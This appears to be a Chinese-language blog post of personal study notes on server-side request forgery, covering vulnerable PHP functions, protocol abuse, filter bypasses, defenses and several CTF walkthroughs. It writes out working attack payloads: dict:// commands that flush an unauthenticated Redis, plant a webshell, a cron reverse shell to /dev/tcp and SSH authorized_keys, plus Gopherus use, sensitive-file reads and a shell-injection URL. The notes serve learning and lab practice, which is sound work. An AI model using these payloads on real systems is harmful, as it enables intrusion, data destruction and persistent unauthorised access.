服务端请求伪造 SSRF

服务端请求伪造 SSRF

1.服务端请求伪造 是什么

服务端请求伪造(SSRF) ,是指攻击者通过伪造服务端请求,从而使服务器发起对第三方系统的攻击或访问。攻击者通常会使用受害者服务器上的应用程序作为代理来发起请求,以使请求看起来像是由服务器发起的。

image-20250818143649220

CSRF 客户端请求伪造

image-20250818144846505

2.SSRF 漏洞的工作方式

1.攻击者提交恶意的地址:在web应用提交恶意的网站(URL)

2.服务器替代攻击者发起请求

3.攻击获取敏感信息或执行恶意操作 :如果服务器能够访问到内部网络或敏感资源,攻击者就可以通过 服务器获取敏感信息,甚至进行远程攻击操作

3 . SSRF 漏洞攻击危害:

1.请求内部服务器的信息(比如探测数据库,文件系统等)

2.探测内部网络,比如端口,ip,是否存在或可用

3.读取敏感文件(file://协议)

4.进行web应用指纹识别

5.可以利用SSRF攻击其他服务漏洞(如SQL ,XSS) //内部发起,可能不会拦截

6.云环境的元数据 泄露 :Azure,AWS云环境,有一个提供 元数据的接口:169.254.169.254/latest/meta-data.AWS:IAM

4.漏洞函数

image-20250818152052491

php:
可用于发出http请求的函数,比如: curl_exec() ; file_get_conrtents() ; fsockopen() ;等函数,如果这些函数可以从用户的输入中获取URL,但未正确验证和过滤用户输入,攻击者可以通过注入恶意代码触发 SSRF

java:

仅支持 HTTP/HTTPS 协议的类,HttpClient 类,等

通过URL 读取文件

SSRF攻击是让服务器自己向自己发出请求。服务器上的应用程序(如PHP代码)代表用户发出HTTP请求。如果flag文件在服务器的/flag路由上,那么通过让服务器请求自己的本地服务(如Web服务器),就可以读取flag。

在提供的代码中,服务器有一个Web服务器正在运行,监听在127.0.0.1(本地回环地址)上。当代码使用cURL请求http://127.0.0.2/flag时,它实际上是在请求服务器本地的Web服务器,因为127.0.0.2是回环地址的一个别名,指向本地主机。

1.curl_exec

格式:curl_exec

作用:执行cURL 会话

image-20250818154416828

2.file_get_contents :

格式:file_get_contents()

作用:把整个文件读入一个字符串中。将整个文件或一个url所指向的文件读入应该字符串中。

image-20250818154455129

3.fsockopen:

image-20250818181303455

通过burp怎么自动发现SSRF漏洞

插件: SSRF-King (被动方式)

利用burp 自带的 collaborator 模块,类似于 dnslog平台

主动插件 : Collaborator Everywhere

SSRF多协议利用:

1.file://

读取敏感文件 : file:// 绝对路径

/etc/passwd
/etc/shadow
/etc/apache/http.conf

2.使用dict 协议探测内网服务:

dict协议是一个在线的网络字典协议,探测内网应用信息

dict://ip:port/命令
内网主机探测   :摸清内网的资产情况(服务;ip)
开放端口探测
端口服务指纹识别
执行命令

探测服务器自身是否存在未公开的服务: dict://127.0.0.1:port(bp爆破)

探测同服务器在同一个内网中的其他主机的IP 和服务: 比如 dict://172.0.0.1:22

植入 webshell ,通过其他服务

探测到了一个redis(内存数据库)服务,恰好 它存在未授权 dict://172.19.0.3:6379

dict://172.19.0.3:6379/info (信息)

dict://172.19.0.3:6379/flushall (清空它的数据库内容,如果SRC挖掘,不要去执行)

dict://172.19.0.3:6379/config:set:dbfilename:test.php (设置数据库名)

dict://172.19.0.3:6379/config:set:dir:/var/www/app (设置目录)

dict://172.19.0.3:6379/set:test:"\n\n \n\n" (上传木马)

dict://172.19.0.3:6379/save(保存)

因为主机和服务器不能直接通讯,不能连上

可以写反弹shell ,让服务器主动链接主机

注入 反弹shell

1.结合 redis 未授权 + 通过 linux的任务计划,写入任务计划

dict://172.19.0.3:6379/flushall (清空它的数据库内容,如果SRC挖掘,不要去执行)

dict://172.19.0.3:6379/config set dir/var/spool/cron/ (设置目录 linux任务计划的目录)

dict://172.19.0.3:6379/config set dbfilename root (root用户的数据库名)

dict://172.19.0.3:6379/set x "\n2*** bash -i &> /dev/tcp/192.168.91.130/1234 0>&1\n"

2*** 代表每两分钟执行一次 /分钟 小时 天 月 星期image-20250822111014879

bash -i & /var/tcp/192.168.91.130/1234 0> &1 (反弹一个shell到 该ip的该端口,仅bash shell 支持这个特性 zsh ,sh 不支持 ) 这个ip是自己的ip

dict://172.19.0.3:6379/save(保存)

写入SSH公钥,登录远程服务器 (前提:能访问这个服务器)

dict://172.19.0.3:6379/flushall (清空它的数据库内容,如果SRC挖掘,不要去执行)

dict://172.19.0.3:6379/config set dir /root/.ssh (设置目录 linux任务计划的目录)

dict://172.19.0.3:6379/config set dbfilename ''authorized_keys'' (root用户的公钥数据库)

dict://172.19.0.3:6379/ set text "\n"

SSRF 不仅仅是存在于GET或者POST 请求参数中,也可能存在于HTT请求头中

//生成公钥
ssh-keygen -t rsa
//查看并复制公钥内容
cat ~/.ssh/id_rsa.pub

dict://172.19.0.3:6379/save(保存)

用ssh + 公钥的方式链接目标服务器

ssh root@192.168.91.130 -p 2222 -i ~/.ssh/id_rsa
如果要求再次输入密码,因为目标主机的openssh -server 版本太低了,而我们客户端的版本较高,不支持rsa的签名
rm ~/.ssh/know_hosts     删掉这个文件

ssh -o "PublicAcceptAlgorithms =_ssh-rsa" root@192.168.91.130 -p 2222 -i ~/.ssh/id_rsa  //加 允许这个加密算法

3.gopher

gopher 协议 是SSRF利用的万金油协议

相比于dict 协议 ,gopher 协议可以也出现执行多个操作

gopher是一个应用层协议。在www.没有出现之前,是互联网的主要信息检索协议 :默认端口是70

gopher 协议 支持 发生发送GET POST 请求

语法格式

gopher://ip:port/_数据流

限制条件

image-20250822153806953

curl/libcurl 7.43上 gopher协议存在 bug(%00截断)经测试7.49 可用

curl gopher://192.168.91.130:2333/abcd
请求abcd  服务器接收到了bcd   
curl gopher://192.168.91.130:2333/_abcd

如何通过 gopher 协议发送 http请求

1.把http请求内容进行urlencode (两次编码) url加密后数据再次进行url编码
2.在结尾处 添加%0d%0a  表示结束
3.构建请求
gopher://172.19.0.1:80/_数据流(url编码后)

//如果是post请求 ,有几个必要的参数

image-20250822160705342

image-20250822161203730

gopher协议 :通过 redis 未授权 + 任务计划 写入反弹shell

redis 通信使用的是resp协议 
使用工具快速利用 (Gopherus)

git clone https://gitee.com/yijingsec/Gopherus
python gopherus.py --exploit redis

image-20250822161646465

绕过方法

1.@ 不允许访问内网ip https://abc.com@127.0.0.1 等同于直接请求http://127.0.0.1

2.添加端口号 https://127.0.0.1:8080

3.短地址 https://0x9.,me/cuGfD 短地址缩短 https://dwz.cn/

4.可以指向任意ip的域名,比如说把一个域名解析指向127.0。0.1 , xip.io 原理是DNS解析,xip.io 可以指向任意域名,即127.0.0.1.xip.io 可解析为127.0.0.1

5.ip地址转换进制 (十进制)

6.非HTTP协议

7.DNS Rebinding

8.利用[::] 绕过 http://[::]:80 >>> https://127.0.0.1

9.句号绕过 127。0。0。1 >>>127.0.0.1

10.利用302 跳转绕过 ,使用https://tinyurl.com 生成302跳转地址

  1. 0 /127.1

    image-20250822164632573

image-20250822164748643

12.特殊数字 比如 1②7.0.0.1 /127.0.0.2 也是回环地址

修复

过滤返回信息,验证远程服务器对请求的响应

统一错误信息

限制请求的端口为 http 常用的端口

禁用不需要的协议,仅允许 http 和 https 请求

设置 url 白名单或限制内网 ip

image-20250822163308635

image-20250822163325686

SSRF的防御

1.严格验证用户输入 : 对用户输入的URL进行严格验证,只允许特点的服务或者特定的域名

2.严禁内部网络访问 :防止服务器访问内部网络或本地服务(比如 localhost ;127.0.0.1)

3.使用白名单 限制

4.使用专网隔离 (对公服务和 内部服务进行隔离)

1.网站的当前功能具备一个对外获取资源的能力,具备从指定目标(外部或内部其他地方)获取资源的能力

2.image-20250819205921459

3.image-20250819205937770

SSRF 有回显 无回显

有回显 (执行的东西,页面会显示)

​ http协议探测资产,探测漏洞

​ file 协议去读取文件

无回显

不会直接在页面上 显示 服务器 请求资源后的后果

  1. 用 dnslog 判断 ( burp 的 collaborator 功能, 请求,收集(poll) 如果能解析出域名,在网站访问该域名,如果可以收到请求就说明存在 对外请求资源的能力,可能存在SSRF漏洞 )

  2. 用 nc 监听 一个端口,去请求这个端口,看能不能请求成功(有请求记录

  3. 无法读取文件 除非结合其他特殊的漏洞,比如说 shellshock漏洞 :

docker 靶场安装

kali2022 已经安装好 docker , 将靶场的配置文件压缩包复制到kali2022上面,7z 解压缩

7z x SSRF.7z

启用靶场

sudo  docker  compose   up -d

image-20250820112919580

ip a s 可以看ip

解决虚拟机ip访问的问题,因为使用NAT模式,外部网络不到虚拟机的ip,可以使用端口映射,image-20250822102714912

访问的时候,直接访问127.0.0.1:8888端口就可以使用虚拟机的服务

image-20250822102820809

实战

1.[NISACTF 2022]easyssrf

看到网站快照,大概可以猜测出 SSRF漏洞

输入 file://flag

image-20250822174159873

去看看这个文件

file:///fl4g 的快照如下:

你应该看看除了index.php,是不是还有个ha1x1ux1u.php

去看这个文件

<?php

highlight_file(__FILE__);
error_reporting(0);

$file = $_GET["file"];
if (stristr($file, "file")){
  die("你败了.");
}

//flag in /flag
echo file_get_contents($file);

可以使用文件包含,直接传参 file=/flag

或者伪协议进行·读取

file=php://fliter/read=convert.base64-encode/resource=/flag

解决

2.[NSSRound#28 Team]ez_ssrf

这里想明白了一个东西

为什么地址要填写127.0.0.1呢

SSRF攻击是让服务器自己向自己发出请求。服务器上的应用程序(如PHP代码)代表用户发出HTTP请求。如果flag文件在服务器的/flag路由上,那么通过让服务器请求自己的本地服务(如Web服务器),就可以读取flag。
<?php
highlight_file(__FILE__);

//flag在/flag路由中

if (isset($_GET['url'])) {
    $url = $_GET['url'];

    if (strpos($url, 'http://') !== 0) {
        echo json_encode(["error" => "Only http:// URLs are allowed"]);
        exit;
    }

    $host = parse_url($url, PHP_URL_HOST);

    $ip = gethostbyname($host);

    $forbidden_ips = ['127.0.0.1', '::1'];
    if (in_array($ip, $forbidden_ips)) {
        echo json_encode(["error" => "Access to localhost or 127.0.0.1 is forbidden"]);
        exit;
    }

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

    $response = curl_exec($ch);

    if (curl_errno($ch)) {
        echo json_encode(["error" => curl_error($ch)]);
    } else {
        echo $response;
    }

    curl_close($ch);
} else {
    echo json_encode(["error" => "Please provide a 'url' parameter"]);
}
?>

可以看出来是 curl 函数,联想到 SSRF漏洞

传参让服务器自己给自己传 命令读取flag文件

但是过滤了127.0.0.1

使用几个方法

1.url=http://0/flag

2.url=http://127.0.0.2/flag

解决

3. [HNCTF 2022 WEEK2]ez_ssrf

题目源码

<?php

highlight_file(__FILE__);
error_reporting(0);

$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];

$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
    die();
}
else {
    fwrite($fp,$data);
    while(!feof($data))
    {
        echo fgets($fp,128);
    }
    fclose($fp);
}

fsockopen 可能产生SSRF漏洞

fsockopen 是一个用于在 PHP 中建立网络连接的函数。它可以通过 TCP 或 UDP 协议与远程服务器进行通信,并返回一个文件指针,可以在该连接上进行读写操作

fsockopen() 函数是用于建立一个 socket 连接
fwrite将data写入当前会话
可以构造一个请求头,读取服务器本地文件

这里的 host 我们填入 127.0.0.1 , 端口 我们就填 80 端口,也就是 web服务的默认端口

我们需要使用data 来构造读取 flag文件

GET /flag.php HTTP/1.1\r\n
Host: 127.0.0.1\r\n
Connection: Close\r\n
<?php
$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "Connection: Close\r\n\r\n";   //请求头和请求体之间必须用一个空行分隔,这个空行就是通过两个回车换行符(即\r\n\r\n)表示的。      最后一个头部 Connection: Close 后的 \r\n 结束该头部行,紧接着的 \r\n 表示空行,标志着整个头部的结束。
echo $out;
echo base64_encode($out)
?>

在HTTP协议中,“Connection”头字段用于控制当前事务完成后是否关闭网络连接。当设置为“Close”时,表示客户端或服务器希望在这次请求/响应之后关闭连接。这与“Keep-Alive”相反,后者表示保持连接开放以用于后续请求。

R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

得到结果

解决

4.[Hitcon 2017]SSRFme

沙盒题目

题目源码

<?php 
    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);    //创建一个沙盒目录路径,目录名由字符串"orange"和客户端IP的MD5哈希组成  ,$_SERVER["REMOTE_ADDR"]在这里相当于我们回显的IP地址。

      //所以执行这段代码相当于:$sandox="sandbox/" . md5("orange"."127.0.0.1");

     //执行后得到一个路径为:sandox/cfbb870b58817bf7705c0bd826e8dba7

    //然后使用mkdir()创建了这样的一个沙盒路径,并且使用chdir()将当前工作路径修改为:

    //sandox/cfbb870b58817bf7705c0bd826e8dba7

    @mkdir($sandbox);    //创建沙盒目录
    @chdir($sandbox);    //切换到沙盒目录

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));  //shell_exec() 用于执行操作系统命令并返回命令的输出, 通过`GET`命令(类似于curl或wget)获取用户通过`url`参数提供的URL的内容。 `escapeshellarg`用于转义参数,防止命令注入,但这里允许任意URL(包括file://协议 )
    $info = pathinfo($_GET["filename"]);  //解析用户通过`filename`参数提供的文件名,获取路径信息
    $dir  = str_replace(".", "", basename($info["dirname"]));  // 获取文件路径的目录部分,并移除所有的点号(防止目录遍历),然后取基本名称(防止路径遍历)
    @mkdir($dir);  //创建处理后的目录 
    @chdir($dir);   //切换到该目录
    @file_put_contents(basename($info["basename"]), $data);  // 将下载的数据写入文件(文件名为处理后的基本名称)file_put_contents(basename($info["basename"]), $data);

//这个将我们linux命令生成的结果,放入了文件中(如果传入的文件名是123,那么$data就被放入sandox/cfbb870b58817bf7705c0bd826e8dba7/123

    highlight_file(__FILE__) 
    ?>

我们可以控制的是 url参数 filename 可以获取flag.php的路径

可以通过url进行目录遍历 (因为有shell_exec函数)

filename 随便传

http://59c29008-ea1f-4cf4-89c9-16cb955abca7.node4.buuoj.cn:81/?url=/readflag&filename=upload/test.php

访问不了,先不做了

【HITCON 2017】SSRFme——最简单伪协议思路 - CAP_T - 博客园

shell_exec执行GET命令,然后将输出保存到$data,然后写入文件。所以,如果用户能让GET命令执行/readflag`,那么输出就会被捕获并写入文件。

管道符|用于将前一个命令的输出传递给后一个命令

​ bash -c /readflag

针对GET命令,使用file:来搭配读取文件

而想执行readflag文件,仅仅是使用file:是不够的,还需要使用Linux下的命令执行:bash -c

目的:把通过命令行执行readflag后的结果放入文件123中。

再次传参:/?url=file:bash -c /readflag&filename=bash -c /readflag (执行/readflag)

进一步传参:/?url=file:bash -c /readflag&filename=123 (管道符|用于将前一个命令的输出传递给后一个命令 ,将readflag执行的结果,就是flag,写入到123中)

发现文件没有写入成功,看了WP后说是要多加一个管道符“|”

再次传参:/?url=file:bash -c /readflag|&filename=bash -c /readflag

进一步传参:/?url=file:bash -c /readflag&filename=123

访问http://7edaf5b8-5f95-433a-b3d0-7c91f8e86d39.node4.buuoj.cn/sandbox/cfbb870b58817bf7705c0bd826e8dba7/123

posted @ 2025-08-23 13:06  ethan——1231  阅读(105)  评论(5)    收藏  举报